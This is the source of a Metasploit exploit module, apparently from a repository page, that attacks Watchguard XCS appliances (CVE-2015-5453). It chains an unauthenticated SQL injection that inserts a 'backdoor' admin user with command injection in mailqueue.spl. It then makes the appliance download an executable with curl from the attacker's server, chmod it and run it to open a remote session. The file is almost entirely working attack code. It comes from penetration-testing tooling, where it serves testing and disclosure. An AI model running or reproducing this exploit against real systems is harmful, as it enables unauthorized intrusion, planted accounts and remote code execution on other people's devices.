Path: blob/master/modules/exploits/freebsd/http/watchguard_cmd_exec.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::Remote::HttpServer10include Msf::Exploit::EXE11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Watchguard XCS Remote Command Execution',18'Description' => %q{19This module exploits two separate vulnerabilities found in the Watchguard XCS virtual20appliance to gain command execution. By exploiting an unauthenticated SQL injection, a21remote attacker may insert a valid web user into the appliance database, and get access22to the web interface. On the other hand, a vulnerability in the web interface allows the23attacker to inject operating system commands as the 'nobody' user.24},25'Author' => [26'Daniel Jensen <daniel.jensen[at]security-assessment.com>' # discovery and Metasploit module27],28'License' => MSF_LICENSE,29'References' => [30['CVE', '2015-5453'],31['URL', 'http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf']32],33'Platform' => 'bsd',34'Arch' => ARCH_X64,35'Privileged' => false,36'Stance' => Msf::Exploit::Stance::Aggressive,37'Targets' => [38[ 'Watchguard XCS 9.2/10.0', {}]39],40'DefaultOptions' => {41'SSL' => true42},43'DefaultTarget' => 0,44'DisclosureDate' => '2015-06-29',45'Notes' => {46'Stability' => [ CRASH_SAFE, ],47'Reliability' => [ REPEATABLE_SESSION, ],48'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES, ]49}50)51)5253register_options(54[55OptString.new('TARGETURI', [true, 'The target URI', '/']),56OptString.new('WATCHGUARD_USER', [true, 'Web interface user account to add', 'backdoor']),57OptString.new('WATCHGUARD_PASSWORD', [true, 'Web interface user password', 'backdoor']),58OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),59Opt::RPORT(443)60],61self.class62)63end6465def check66# Check to see if the SQLi is present67res = send_request_cgi({68'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'),69'cookie' => "sid=1'"70})7172if res && res.body && res.body.include?('unterminated quoted string')73return Exploit::CheckCode::Vulnerable74end7576Exploit::CheckCode::Safe77end7879def exploit80# Get a valid session by logging in or exploiting SQLi to add user81print_status('Getting a valid session...')82@sid = get_session83print_good('Successfully logged in')8485# Check if cmd injection works86test_cmd_inj = send_cmd_exec('/ADMIN/mailqueue.spl', 'id')87unless test_cmd_inj && test_cmd_inj.body.include?('uid=65534')88fail_with(Failure::UnexpectedReply, 'Could not inject command, may not be vulnerable')89end9091# We have cmd exec, stand up an HTTP server and deliver the payload92vprint_status('Getting ready to drop binary on appliance')9394@elf_sent = false95# Generate payload96@pl = generate_payload_exe9798# Start the server and use primer to trigger fetching and running of the payload99begin100Timeout.timeout(datastore['HTTPDELAY']) { super }101rescue Timeout::Error => e102fail_with(Failure::TimeoutExpired, e.message)103end104end105106def attempt_login(username, pwd_clear)107# Attempts to login with the provided user credentials108# Get the login page109get_login_hash = send_request_cgi({110'uri' => normalize_uri(target_uri.path, '/login.spl')111})112113unless get_login_hash && get_login_hash.body114fail_with(Failure::Unreachable, 'Could not get login page.')115end116117# Find the hash token needed to login118login_hash = ''119get_login_hash.body.each_line do |line|120next if line !~ /name="hash" value="(.*)"/121122login_hash = ::Regexp.last_match(1)123break124end125126sid_cookie = (get_login_hash.get_cookies || '').scan(/sid=(\w+);/).flatten[0] || ''127if login_hash == '' || sid_cookie == ''128fail_with(Failure::UnexpectedReply, 'Could not find login hash or cookie')129end130131login_post = {132'u' => username.to_s,133'pwd' => pwd_clear.to_s,134'hash' => login_hash,135'login' => 'Login'136}137print_status('Attempting to login with provided credentials')138login = send_request_cgi({139'uri' => normalize_uri(target_uri.path, '/login.spl'),140'method' => 'POST',141'encode_params' => false,142'cookie' => "sid=#{sid_cookie}",143'vars_post' => login_post,144'vars_get' => {145'f' => 'V'146}147})148149unless login && login.body && login.body.include?('<title>Loading...</title>')150return nil151end152153sid_cookie154end155156def add_user(user_id, username, pwd_hash, pwd_clear)157# Adds a user to the database using the unauthed SQLi158res = send_request_cgi({159'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'),160'cookie' => "sid=1%3BINSERT INTO sds_users (self, login, password, org, priv_level, quota, disk_usage) VALUES(#{user_id}, '#{username}', '#{pwd_hash}', 0, 'server_admin', 0, 0)--"161})162163unless res && res.body164fail_with(Failure::Unreachable, 'Could not connect to host')165end166167if res.body.include?('ERROR: duplicate key value violates unique constraint')168print_status("Added backdoor user, credentials => #{username}:#{pwd_clear}")169else170fail_with(Failure::UnexpectedReply, 'Unable to add user to database')171end172173true174end175176def generate_device_hash(cleartext_password)177# Generates the specific hashes needed for the XCS178pre_salt = 'BorderWare '179post_salt = ' some other random (9) stuff'180hash_tmp = Rex::Text.md5(pre_salt + cleartext_password + post_salt)181final_hash = Rex::Text.md5(cleartext_password + hash_tmp)182183final_hash184end185186def send_cmd_exec(uri, os_cmd, blocking: true)187# This is a handler function that makes HTTP calls to exploit the command injection issue188unless @sid189fail_with(Failure::Unknown, 'Missing a session cookie when attempting to execute command.')190end191192opts = {193'uri' => normalize_uri(target_uri.path, uri.to_s),194'cookie' => "sid=#{@sid}",195'encode_params' => true,196'vars_get' => {197'f' => 'dnld',198'id' => ";#{os_cmd}"199}200}201202if blocking203res = send_request_cgi(opts)204else205res = send_request_cgi(opts, 1)206end207208# Handle cmd exec failures209if res.nil? && blocking210fail_with(Failure::Unknown, 'Failed to exploit command injection.')211end212213res214end215216def get_session217# Gets a valid login session, either valid creds or the SQLi vulnerability218username = datastore['WATCHGUARD_USER']219pwd_clear = datastore['WATCHGUARD_PASSWORD']220user_id = rand(999)221222sid_cookie = attempt_login(username, pwd_clear)223224return sid_cookie unless sid_cookie.nil?225226vprint_error('Failed to login, attempting to add backdoor user...')227pwd_hash = generate_device_hash(pwd_clear)228229unless add_user(user_id, username, pwd_hash, pwd_clear)230fail_with(Failure::Unknown, 'Failed to add user account to database.')231end232233sid_cookie = attempt_login(username, pwd_clear)234235unless sid_cookie236fail_with(Failure::Unknown, 'Unable to login with user account.')237end238239sid_cookie240end241242# Make the server download the payload and run it243def primer244vprint_status('Primer hook called, make the server get and run exploit')245246# Gets the autogenerated uri from the mixin247payload_uri = get_uri248249filename = rand_text_alpha_lower(8)250print_status("Sending download request for #{payload_uri}")251252download_cmd = "/usr/local/sbin/curl -k #{payload_uri} -o /tmp/#{filename}"253vprint_status("Telling appliance to run #{download_cmd}")254send_cmd_exec('/ADMIN/mailqueue.spl', download_cmd)255register_file_for_cleanup("/tmp/#{filename}")256257chmod_cmd = "chmod +x /tmp/#{filename}"258vprint_status('Chmoding the payload...')259send_cmd_exec('/ADMIN/mailqueue.spl', chmod_cmd)260261exec_cmd = "/tmp/#{filename}"262vprint_status('Running the payload...')263send_cmd_exec('/ADMIN/mailqueue.spl', exec_cmd, false)264265vprint_status('Finished primer hook, raising Timeout::Error manually')266raise(Timeout::Error)267end268269# Handle incoming requests from the server270def on_request_uri(cli, request)271vprint_status("on_request_uri called: #{request.inspect}")272print_status('Sending the payload to the server...')273@elf_sent = true274send_response(cli, @pl)275end276277def autofilter278true279end280end281282283